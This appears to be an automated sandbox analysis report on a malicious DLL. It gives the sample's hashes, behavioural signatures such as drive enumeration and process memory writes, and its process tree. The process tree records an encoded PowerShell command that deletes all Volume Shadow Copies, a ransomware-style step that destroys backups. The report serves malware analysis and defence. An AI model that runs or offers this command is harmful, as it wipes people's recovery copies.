Analysis
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max time kernel
120s -
max time network
120s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 01:52
Static task
static1
Behavioral task
behavioral1
Sample
6d8c7597bee66d3974681089805bd543f4f1b9c8fc778e939ad8a39c35456c78.dll
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
6d8c7597bee66d3974681089805bd543f4f1b9c8fc778e939ad8a39c35456c78.dll
Resource
win10-en-20211208
General
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Target
6d8c7597bee66d3974681089805bd543f4f1b9c8fc778e939ad8a39c35456c78.dll
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Size
164KB
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MD5
2adb292a5b01999c1c557906c0c0cfe9
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SHA1
255a6fe6d6f5896044accf33d851ad6d567950b5
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SHA256
6d8c7597bee66d3974681089805bd543f4f1b9c8fc778e939ad8a39c35456c78
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SHA512
c18959881eb5129823e790857607c26cbace28ba0dbf1e49728d2e3978226f70251422eb9b7781fe21e5a9350e85c41abeef32545840bd519e5e72f92d5bfa6d
Malware Config
Signatures
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Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\W: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
rundll32.exepowershell.exepid process 1580 rundll32.exe 1356 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1356 powershell.exe Token: SeBackupPrivilege 632 vssvc.exe Token: SeRestorePrivilege 632 vssvc.exe Token: SeAuditPrivilege 632 vssvc.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 1728 wrote to memory of 1580 1728 rundll32.exe rundll32.exe PID 1728 wrote to memory of 1580 1728 rundll32.exe rundll32.exe PID 1728 wrote to memory of 1580 1728 rundll32.exe rundll32.exe PID 1728 wrote to memory of 1580 1728 rundll32.exe rundll32.exe PID 1728 wrote to memory of 1580 1728 rundll32.exe rundll32.exe PID 1728 wrote to memory of 1580 1728 rundll32.exe rundll32.exe PID 1728 wrote to memory of 1580 1728 rundll32.exe rundll32.exe PID 1580 wrote to memory of 1356 1580 rundll32.exe powershell.exe PID 1580 wrote to memory of 1356 1580 rundll32.exe powershell.exe PID 1580 wrote to memory of 1356 1580 rundll32.exe powershell.exe PID 1580 wrote to memory of 1356 1580 rundll32.exe powershell.exe
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\6d8c7597bee66d3974681089805bd543f4f1b9c8fc778e939ad8a39c35456c78.dll,#11⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\6d8c7597bee66d3974681089805bd543f4f1b9c8fc778e939ad8a39c35456c78.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/1356-56-0x000007FEFB801000-0x000007FEFB803000-memory.dmpFilesize
8KB
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memory/1356-58-0x00000000022C0000-0x00000000022C2000-memory.dmpFilesize
8KB
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memory/1356-59-0x00000000022C2000-0x00000000022C4000-memory.dmpFilesize
8KB
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memory/1356-60-0x00000000022C4000-0x00000000022C7000-memory.dmpFilesize
12KB
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memory/1356-57-0x000007FEF28E0000-0x000007FEF343D000-memory.dmpFilesize
11.4MB
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memory/1356-61-0x00000000022CB000-0x00000000022EA000-memory.dmpFilesize
124KB
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memory/1580-55-0x0000000074F11000-0x0000000074F13000-memory.dmpFilesize
8KB